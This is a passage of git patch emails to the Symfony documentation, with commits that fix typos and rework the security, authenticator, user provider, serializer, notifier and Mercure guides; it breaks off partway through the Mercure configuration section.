 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`

From 1e49d52bc0f94fb44e2e7eed4c0dc0dd7f175f66 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 11 Oct 2021 13:38:45 -0400
Subject: [PATCH 1228/5766] fixing syntax error

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 59983e91f05..cb3d6c0bc1c 100644
--- a/security.rst
+++ b/security.rst
@@ -354,7 +354,7 @@ can also create your own :ref:`custom user provider <security-custom-user-provid
     for their service ID: ``security.user.provider.concrete.<your-provider-name>``
     (where ``<your-provider-name>`` is the configuration key, e.g.
     ``app_user_provider``). If you only have one user provider, you can autowire
-    it using the :class:`Symfony\Component\Security\Core\User\UserProviderInterface`
+    it using the :class:`Symfony\\Component\\Security\\Core\\User\\UserProviderInterface`
     type-hint.
 
 .. _security-encoding-user-password:

From 6b2f6d06996f8859f2ffa94233689606bb8c7a51 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Oct 2021 09:39:33 +0200
Subject: [PATCH 1229/5766] Remove versionadded directive

---
 reference/constraints/CssColor.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index eb04df19b4c..d74179b343d 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,9 +1,5 @@
 CssColor
-=========
-
-.. versionadded:: 5.4
-
-    The ``CssColor`` constraint was introduced in Symfony 5.4.
+========
 
 Validates that a value is a valid CSS color. The underlying value is
 casted to a string before being validated.

From 02b39344f114e8861263de62cc7dea163fe4889c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 12 Oct 2021 09:40:18 +0200
Subject: [PATCH 1230/5766] Minor fix

---
 reference/constraints/CssColor.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index eb04df19b4c..8f62ed3e531 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -1,5 +1,5 @@
 CssColor
-=========
+========
 
 .. versionadded:: 5.4
 

From b4b78ebfbf59fe14e4cfe4c838cf98d70af89565 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 12 Oct 2021 13:39:12 +0200
Subject: [PATCH 1231/5766] Fix link to isCsrfTokenValid() for 5.3+

---
 security/csrf.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index def19db4f36..9cb98f95897 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -150,7 +150,7 @@ generate a CSRF token in the template and store it as a hidden form field:
     </form>
 
 Then, get the value of the CSRF token in the controller action and use the
-:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\ControllerTrait::isCsrfTokenValid`
+:method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::isCsrfTokenValid`
 method to check its validity::
 
     use Symfony\Component\HttpFoundation\Request;

From cc84098a6c492002564ee7281ada0570faf998a2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 12 Oct 2021 14:56:32 +0200
Subject: [PATCH 1232/5766] Fixes after final review from Javier and Ryan

---
 _build/redirection_map                        |  10 +-
 reference/configuration/security.rst          |  16 +-
 security.rst                                  | 172 ++++++++++--------
 security/custom_authenticator.rst             |  64 +++++--
 ...ple_authenticators.rst => entry_point.rst} |  17 +-
 security/form_login.rst                       |  11 +-
 security/user_providers.rst                   |  17 +-
 7 files changed, 181 insertions(+), 126 deletions(-)
 rename security/{multiple_authenticators.rst => entry_point.rst} (92%)

diff --git a/_build/redirection_map b/_build/redirection_map
index 900bdd611b2..1acae2a1667 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -520,13 +520,15 @@
 /security/named_encoders /security/named_hashers
 /security/experimental_authenticators /security
 /security/user_provider /security/user_providers
-/security/reset_password /security#reset-password
-/security/auth_providers /security#authenticating-users
+/security/reset_password /security/passwords#reset-password
+/security/auth_providers /security#security-authenticators
 /security/form_login /security#form-login
 /security/form_login_setup /security#form-login
 /security/json_login_setup /security#json-login
-/security/named_hashers /security/passwords#TODO
-/security/password_migration /security/passwords#TODO
+/security/named_hashers /security/passwords#named-password-hashers
+/security/password_migration /security/passwords#security-password-migration
 /security/acl https://github.com/symfony/acl-bundle/blob/main/src/Resources/doc/index.rst
 /security/securing_services /security#securing-other-services
 /security/authenticator_manager /security
+/security/multiple_guard_authenticators /security/entry_point
+/security/guard_authentication /security/custom_authenticator
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 87f6fbd8fb7..16ccc63bda5 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -29,7 +29,6 @@ Configuration
 
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
-* `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -62,15 +61,6 @@ If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
-anonymous
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``~``
-
-When set to ``lazy``, Symfony loads the user (and starts the session) only if
-the application actually accesses the ``User`` object (e.g. via a ``is_granted()``
-call in a template or ``isGranted()`` in a controller or service).
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -116,7 +106,7 @@ access_control
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
-and to allow anonymous users to the login form page.
+and to allow unauthenticated users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
@@ -478,7 +468,6 @@ The security configuration should be:
 
             firewalls:
                 main:
-                    anonymous: true
                     lazy: true
                     json_login:
                         check_path:    login
@@ -498,7 +487,7 @@ The security configuration should be:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <config>
-                <firewall name="main" anonymous="true" lazy="true">
+                <firewall name="main" lazy="true">
                     <json-login check-path="login"
                         username-path="security.credentials.login"
                         password-path="security.credentials.password"/>
@@ -513,7 +502,6 @@ The security configuration should be:
 
         return static function (SecurityConfig $security) {
             $mainFirewall = $security->firewall('main');
-            $mainFirewall->anonymous();
             $mainFirewall->lazy(true);
             $mainFirewall->jsonLogin()
                 ->checkPath('/login')
diff --git a/security.rst b/security.rst
index cb3d6c0bc1c..3ce7c0e9bcd 100644
--- a/security.rst
+++ b/security.rst
@@ -4,6 +4,7 @@
 Security
 ========
 
+
 Symfony provides many tools to secure your application. Some HTTP-related
 security tools, like :doc:`secure session cookies </session>` and
 :doc:`CSRF protection </security/csrf>` are provided by default. The
@@ -73,6 +74,15 @@ discussed:
     required permissions to perform a specific action or visit a specific
     URL.
 
+.. caution::
+
+    Symfony Security has received major changes in 5.3. This article
+    explains the *new authenticator-based* system (identified by the
+    ``enable_authenticator_manager: true`` config option).
+
+    Refer to the `5.2 version of this documentation`_ if you're still using
+    the legacy security system.
+
 .. _create-user-class:
 .. _a-create-your-user-class:
 
@@ -645,6 +655,8 @@ many other authenticators:
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
     community bundle.
 
+.. _security-form-login:
+
 Form Login
 ~~~~~~~~~~
 
@@ -780,7 +792,7 @@ If the user submits an invalid email or password, that authenticator will store
 the error and redirect back to this controller, where we read the error (using
 ``AuthenticationUtils``) so that it can be displayed back to the user.
 
-Finally, create or updaate the template:
+Finally, create or update the template:
 
 .. code-block:: html+twig
 
@@ -851,6 +863,11 @@ To review the whole process:
    request, checks the user's submitted credentials, authenticates the user if
    they are correct, and sends the user back to the login form if they are not.
 
+.. seealso::
+
+    You can customize the responses on a successful or failed login
+    attempt. See :doc:`/security/form_login`.
+
 .. _form_login-csrf:
 
 CSRF Protection in Login Forms
@@ -1051,8 +1068,14 @@ token (or whatever you need to return) and return the JSON response:
       {
           #[Route('/api/login', name: 'api_login')]
     -     public function index(): Response
-    +     public function index(#[CurrentUser] User $user): Response
+    +     public function index(#[CurrentUser] ?User $user): Response
           {
+    +         if (null === $user) {
+    +             return $this->json([
+    +                 'message' => 'missing credentials',
+    +             ], Response::HTTP_UNAUTHENTICATED);
+    +         }
+    +
     +         $token = ...; // somehow create an API token for $user
     +
               return $this->json([
@@ -1764,67 +1787,6 @@ event class:
     Returns a response, if it is already set by a custom listener. Use
     ``setResponse()`` to configure a custom logout response.
 
-.. tip::
-
-    Every Security firewall has its own event dispatcher
-    (``security.event_dispatcher.FIREWALLNAME``). The logout event is
-    dispatched on both the global and firewall dispatcher. You can register
-    on the firewall dispatcher if you want your listener to only be
-    called for a specific firewall. For instance, if you have an ``api``
-    and ``main`` firewall, use this configuration to register only on the
-    logout event in the ``main`` firewall:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                # ...
-
-                App\EventListener\CustomLogoutSubscriber:
-                    tags:
-                        - name: kernel.event_subscriber
-                          dispatcher: security.event_dispatcher.main
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <!-- ... -->
-
-                    <service id="App\EventListener\CustomLogoutSubscriber">
-                        <tag name="kernel.event_subscriber"
-                             dispacher="security.event_dispatcher.main"
-                         />
-                    </service>
-                </services>
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-            use App\EventListener\CustomLogoutListener;
-            use App\EventListener\CustomLogoutSubscriber;
-            use Symfony\Component\Security\Http\Event\LogoutEvent;
-
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
-
-                $services->set(CustomLogoutSubscriber::class)
-                    ->tag('kernel.event_subscriber', [
-                        'dispatcher' => 'security.event_dispatcher.main',
-                    ]);
-            };
-
 .. _retrieving-the-user-object:
 
 Fetching the User Object
@@ -2406,10 +2368,6 @@ the login page):
 Granting Anonymous Users Access in a Custom Voter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``NullToken`` class was introduced in Symfony 5.2.
-
 If you're using a :doc:`custom voter </security/voters>`, you can allow
 anonymous users access by checking if there is no user set on the token::
 
@@ -2480,12 +2438,6 @@ like this:
   but stronger. Users who are logged in only because of a "remember me cookie"
   will have ``IS_AUTHENTICATED_REMEMBERED`` but will not have ``IS_AUTHENTICATED_FULLY``.
 
-* ``IS_AUTHENTICATED_ANONYMOUSLY``: *All* users (even anonymous ones) have
-  this - this is useful when defining a list of URLs with no access restriction
-  - some details are in :doc:`/security/access_control`.
-
-* ``IS_ANONYMOUS``: *Only* anonymous users are matched by this attribute.
-
 * ``IS_REMEMBERED``: *Only* users authenticated using the
   :doc:`remember me functionality </security/remember_me>`, (i.e. a
   remember-me cookie).
@@ -2496,8 +2448,13 @@ like this:
 
 .. versionadded:: 5.1
 
-    The ``IS_ANONYMOUS``, ``IS_REMEMBERED`` and ``IS_IMPERSONATOR``
-    attributes were introduced in Symfony 5.1.
+    The ``IS_REMEMBERED`` and ``IS_IMPERSONATOR`` attributes were
+    introduced in Symfony 5.1.
+
+.. deprecated:: 5.3
+
+   The ``IS_ANONYMOUS`` and ``IS_AUTHENTICATED_ANONYMOUSLY`` attributes are
+   deprecated since Symfony 5.3.
 
 .. _user_session_refresh:
 
@@ -2540,6 +2497,67 @@ to hook into the process or customize the response sent back to the user. You
 can do this by creating an :doc:`event listener or subscriber </event_dispatcher>`
 for these events.
 
+.. tip::
+
+    Every Security firewall has its own event dispatcher
+    (``security.event_dispatcher.FIREWALLNAME``). Events are dispatched on
+    both the global and the firewall-specific dispatcher. You can register
+    on the firewall dispatcher if you want your listener to only be
+    called for a specific firewall. For instance, if you have an ``api``
+    and ``main`` firewall, use this configuration to register only on the
+    logout event in the ``main`` firewall:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                # ...
+
+                App\EventListener\CustomLogoutSubscriber:
+                    tags:
+                        - name: kernel.event_subscriber
+                          dispatcher: security.event_dispatcher.main
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <!-- ... -->
+
+                    <service id="App\EventListener\CustomLogoutSubscriber">
+                        <tag name="kernel.event_subscriber"
+                             dispacher="security.event_dispatcher.main"
+                         />
+                    </service>
+                </services>
+            </container>
+
+        .. code-block:: php
+
+            // config/services.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use App\EventListener\CustomLogoutListener;
+            use App\EventListener\CustomLogoutSubscriber;
+            use Symfony\Component\Security\Http\Event\LogoutEvent;
+
+            return function(ContainerConfigurator $configurator) {
+                $services = $configurator->services();
+
+                $services->set(CustomLogoutSubscriber::class)
+                    ->tag('kernel.event_subscriber', [
+                        'dispatcher' => 'security.event_dispatcher.main',
+                    ]);
+            };
+
 Authentication Events
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -2576,7 +2594,7 @@ Other Events
 ~~~~~~~~~~~~
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\LogoutEvent`
-    Dispatched when a user logs out of your application. See
+    Dispatched just before a user logs out of your application. See
     :ref:`security-logging-out`.
 
 :class:`Symfony\\Component\\Security\\Http\\Event\\TokenDeauthenticatedEvent`
@@ -2640,6 +2658,7 @@ Authentication (Identifying/Logging in the User)
     security/csrf
     security/form_login
     security/custom_authenticator
+    security/entry_point
 
 Authorization (Denying Access)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -2652,6 +2671,7 @@ Authorization (Denying Access)
     security/access_denied_handler
     security/force_https
 
+.. _`5.2 version of this documentation`: https://symfony.com/doc/5.2/security.html
 .. _`FrameworkExtraBundle documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`HWIOAuthBundle`: https://github.com/hwi/HWIOAuthBundle
 .. _`OWASP Brute Force Attacks`: https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index bbbd9ce8e23..03f5820cec3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -72,6 +72,12 @@ method that fits most use-cases::
         }
     }
 
+.. tip::
+
+    If your custom authenticator is a login form, you can extend from the
+    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
+    class instead to make your job easier.
+
 The authenticator can be enabled using the ``custom_authenticators`` setting:
 
 .. configuration-block::
@@ -88,10 +94,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                     custom_authenticators:
                         - App\Security\ApiKeyAuthenticator
 
-                    # remember to also configure the entry_point if the
-                    # authenticator implements AuthenticationEntryPointInterface
-                    # entry_point: App\Security\CustomFormLoginAuthenticator
-
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
@@ -107,11 +109,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             <config enable-authenticator-manager="true">
                 <!-- ... -->
 
-                <!-- remember to also configure the entry-point if the
-                     authenticator implements AuthenticatorEntryPointInterface
-                <firewall name="main"
-                    entry-point="App\Security\CustomFormLoginAuthenticator"> -->
-
                 <firewall name="main">
                     <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
                 </firewall>
@@ -130,25 +127,54 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
             $security->firewall('main')
                 ->customAuthenticators([ApiKeyAuthenticator::class])
-
-                // remember to also configure the entry_point if the
-                // authenticator implements AuthenticatorEntryPointInterface
-                // ->entryPoint(App\Security\CustomFormLoginAuthenticator::class)
             ;
         };
 
+.. versionadded:: 5.2
+
+    Starting with Symfony 5.2, the custom authenticator is automatically
+    registered as entry point if it implements ``AuthenticationEntryPointInterface``.
+
+    Prior to 5.2, you had to configure the entry point separately using the
+    ``entry_point`` option. Read :doc:`/security/entry_point` for more
+    information.
 
 The ``authenticate()`` method is the most important method of the
 authenticator. Its job is to extract credentials (e.g. username &
 password, or API tokens) from the ``Request`` object and transform these
 into a security
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-
-.. tip::
-
-    If your custom authenticator is a login form, you can extend from the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead to make your job easier.
+See :ref:`security-passport` below for a detailed look into the
+authentication process.
+
+After the authentication process finished, the user is either authenticated
+or there was something wrong (e.g. incorrect password). The authenticator
+can define what happens in these cases:
+
+``onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response``
+    If the user is authenticated, this method is called with the
+    authenticated ``$token``. This method can return a response (e.g.
+    redirect the user to the homepage).
+
+    If ``null`` is returned, the request continues like normal (i.e. the
+    controller matching the login route is called). This is useful for API
+    routes where each route is protected by an API key header.
+
+``onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response``
+    If an ``AuthenticationException`` is thrown during authentication, the
+    process fails and this method is called. This method can return a
+    response (e.g. to return a 401 Unauthorized response in API routes).
+
+    If ``null`` is returned, the request continues like normal. This is
+    useful for e.g. login forms, where the login controller is run again
+    with the login errors.
+
+    **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
+    instances. This message might contain sensitive information that you
+    don't want to expose publicly. Instead, use ``$exception->getMessageKey()``
+    and ``$exception->getMessageData()`` like shown in the full example
+    above. Use :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`
+    if you want to set custom error messages.
 
 .. _security-passport:
 
diff --git a/security/multiple_authenticators.rst b/security/entry_point.rst
similarity index 92%
rename from security/multiple_authenticators.rst
rename to security/entry_point.rst
index 61566e5cd69..daee51493fa 100644
--- a/security/multiple_authenticators.rst
+++ b/security/entry_point.rst
@@ -1,13 +1,14 @@
-How to Use Multiple Authenticators
-==================================
+The Entry Point: Helping Users Start Authentication
+===================================================
 
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and a social login). In these cases, it is now required to configure
-the *authentication entry point*.
+When an unauthenticated user tries to access a protected page, Symfony
+gives them a suitable response to let them start authentication (e.g.
+redirect to a login form or show a 401 Unauthorized HTTP response for
+APIs).
 
-The entry point is used to generate a response when the user is not yet
-authenticated but tries to access a page that requires authentication. This
-can be used for instance to redirect the user to the login page.
+However sometimes, one firewall has multiple ways to authenticate (e.g.
+both a form login and a social login). In these cases, it is required to
+configure the *authentication entry point*.
 
 You can configure this using the ``entry_point`` setting:
 
diff --git a/security/form_login.rst b/security/form_login.rst
index 03e7dffe49c..4bace9cf2a8 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,10 +1,15 @@
 .. index::
    single: Security; Customizing form login redirect
 
-Using the form_login Authentication Provider
-============================================
+Customizing the Form Login Authenticator Responses
+==================================================
 
-.. TODO
+The form login authenticator creates a login form where users authenticate
+using an identifier (e.g. email address or username) and a password. In
+:ref:`security-form-login` the usage of this authenticator is explained.
+
+This article describes how to customize the responses (success or failure)
+of this authenticator.
 
 Redirecting after Success
 -------------------------
diff --git a/security/user_providers.rst b/security/user_providers.rst
index e5279a9d5f1..5d3be052121 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -1,8 +1,21 @@
 User Providers
 ==============
 
-.. TODO intro paragraph
-   don't forget to mention LDAP user provider (documented in security/ldap)
+User providers (re)load users from a storage (e.g. a database) based on a
+"user identifier" (e.g. the user's email address or username). See
+:ref:`security-user-providers` for more detailed information when a user
+provider is used.
+
+Symfony provides several user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
 
 .. _security-entity-user-provider:
 

From 292db4598b1ba6773e418c65f8b8ca518ad31525 Mon Sep 17 00:00:00 2001
From: "Mark Fischer, Jr" <flyingfisch@toppagedesign.com>
Date: Tue, 12 Oct 2021 10:09:47 -0400
Subject: [PATCH 1233/5766] Fixed a grammar issue in flex.rst

---
 setup/flex.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index ab4a0509a40..d3c1d18db14 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -89,7 +89,7 @@ manual steps:
        $ rm -rf vendor/*
        $ composer install
 
-#. No matter which of the previous steps you followed. At this point, you'll have
+#. Regardless of which of the previous steps you followed, at this point you'll have
    lots of new config files in ``config/``. They contain the default config
    defined by Symfony, so you must check your original files in ``app/config/``
    and make the needed changes in the new files. Flex config doesn't use suffixes

From 6856ec220659e9649c5899aa3df794183af70115 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andr=C3=A9=20Matthies?=
 <12965261+matthiez@users.noreply.github.com>
Date: Wed, 22 Sep 2021 11:25:27 +0200
Subject: [PATCH 1234/5766] [Notifier] Add Sms77 Bridge

---
 notifier.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index e124ec59f5b..8a56a0dc6ed 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,6 +74,7 @@ Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@defau
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
+Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
@@ -100,8 +101,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations
-    were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger)
+    and Sms77 integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 61b76d333cba9b9630c07dee146d1f023112e3f0 Mon Sep 17 00:00:00 2001
From: Harm van Tilborg <harm@curity.eu>
Date: Wed, 13 Oct 2021 20:15:34 +0200
Subject: [PATCH 1235/5766] Fixed typo in security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 3ce7c0e9bcd..1e6a5ab98e2 100644
--- a/security.rst
+++ b/security.rst
@@ -847,7 +847,7 @@ The form can look like anything, but it usually follows some conventions:
     :ref:`form_login-csrf` on how to protect your login form.
 
 And that's it! When you submit the form, the security system automatically
-reads the ``_username`` and ``_email`` POST parameter, loads the user via
+reads the ``_username`` and ``_password`` POST parameter, loads the user via
 the user provider, checks the user's credentials and either authenticates the
 user or sends them back to the login form where the error can be displayed.
 

From 08599e89de71c6a40d2fab5c1a7293d2f4e759a8 Mon Sep 17 00:00:00 2001
From: Ivan Nemets <79963574+ivannemets-sravniru@users.noreply.github.com>
Date: Thu, 14 Oct 2021 13:56:59 +0300
Subject: [PATCH 1236/5766] Update serializer.rst

---
 components/serializer.rst | 20 ++++++++++++++------
 1 file changed, 14 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ac29ee47deb..e87e9eafdbd 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1181,15 +1181,23 @@ PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
 This is different from the default ``null`` of untyped properties.
 When you try to access it before giving it an explicit value - you get an error.
 
-To avoid serializer throwing an error when serializing or normalizing an object with
-uninitialized properties - then you can set ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` to ``true``.
+By default, to avoid the Serializer throwing an error when serializing or normalizing an object with
+uninitialized properties, object normalizer catches these errors and ignores such properties.
+
+You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option to ``false``::
+
+    class Dummy {
+        public string $foo = 'initialized';
+        public string $bar; // uninitialized
+    }
+
+    $normalizer = new ObjectNormalizer();
+    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
+    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
 
 .. note::
 
-    Error is thrown only if you inject a ``ClassMetadataFactory`` into the normalizer.
-    Otherwise the properties are checked with reflection and uninitialized ones are skipped.
-    This option is useful when, for example, you want to serialize subset of properties by serialization groups,
-    which requires the ``ClassMetadataFactory``
+    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize`` with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set to ``false`` will throw an ``\Error`` instance if the given object has uninitialized properties as the normalizer cannot read them (directly or via getter/isser methods).
 
 .. versionadded:: 5.4
 

From 6644f4cd8408b5c5a4d754b906c3cf5f4bf7122e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <kevin@dunglas.fr>
Date: Wed, 13 Oct 2021 16:29:43 +0200
Subject: [PATCH 1237/5766] [Mercure] sync docs with the last version of
 Mercure

---
 mercure.rst              | 314 ++++++++++++++++++++-------------------
 setup/symfony_server.rst |   2 +
 2 files changed, 166 insertions(+), 150 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 9a3a45068d2..72ce65145e5 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -35,10 +35,6 @@ thanks to a specific HTTP header).
 
 All these features are supported in the Symfony integration.
 
-Unlike WebSocket, which is only compatible with HTTP 1.x,
-Mercure leverages the multiplexing capabilities provided by HTTP/2
-and HTTP/3 (but also supports older versions of HTTP).
-
 `In this recording`_ you can see how a Symfony web API leverages Mercure
 and API Platform to update in live a React app and a mobile app (React Native)
 generated using the API Platform client generator.
@@ -46,16 +42,6 @@ generated using the API Platform client generator.
 Installation
 ------------
 
-Installing the Symfony Component
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the Mercure support before using it:
-
-.. code-block:: terminal
-
-    $ composer require mercure
-
 Running a Mercure Hub
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -66,20 +52,38 @@ clients.
 
 .. image:: /_images/mercure/schema.png
 
-If you use the :doc:`Symfony Local Web Server </setup/symfony_server>` or `Symfony Docker`_,
-a Mercure Hub is automatically available.
-
-For production usage, an official and open source (AGPL) Hub based on the Caddy web server
+An official and open source (AGPL) Hub based on the Caddy web server
 can be downloaded as a static binary from `Mercure.rocks`_.
-Alternatively to the binary, a Docker image, a Helm chart for Kubernetes
+A Docker image, a Helm chart for Kubernetes
 and a managed, High Availability Hub are also provided.
 
-.. tip::
+If you use `Symfony Docker`_ or the `API Platform distribution`_,
+a Mercure Hub is automatically installed and your Symfony application
+is automatically configured to use it.
+You can jump directly to the next section.
+
+If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`,
+a Mercure hub will be automatically available as a Docker service thanks to its :ref:`Docker integration <symfony-server-docker>.
+
+Be sure that recent versions of Docker and Docker Compose are properly installed on your computer
+and to start the Symfony Local Web Server with the ``--no-tls`` option:
+
+.. code-block:: terminal
+
+    $ symfony server:start --no-tls -d
+
+Installing the Symfony Bundle
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Run this command to install the Mercure support before using it:
+
+.. code-block:: terminal
+
+    $ composer require mercure
 
-    The `API Platform distribution`_ comes with a Docker Compose configuration
-    as well as a Helm chart for Kubernetes that are 100% compatible with Symfony,
-    and contain a build of the Caddy web server including a Mercure hub.
-    You can copy them in your project, even if you don't use API Platform.
+:ref:`Symfony Flex <symfony-flex>` has automatically installed and configured MercureBundle.
+It also created (if needed) and configured a Docker Compose definition that provides a Mercure service.
+Run ``docker-compose up`` to start it.
 
 Configuration
 -------------
@@ -90,9 +94,8 @@ The preferred way to configure the MercureBundle is using
 When MercureBundle has been installed, the ``.env`` file of your project
 has been updated by the Flex recipe to include the available env vars.
 
-If you use the Symfony Local Web Server or Symfony Docker,
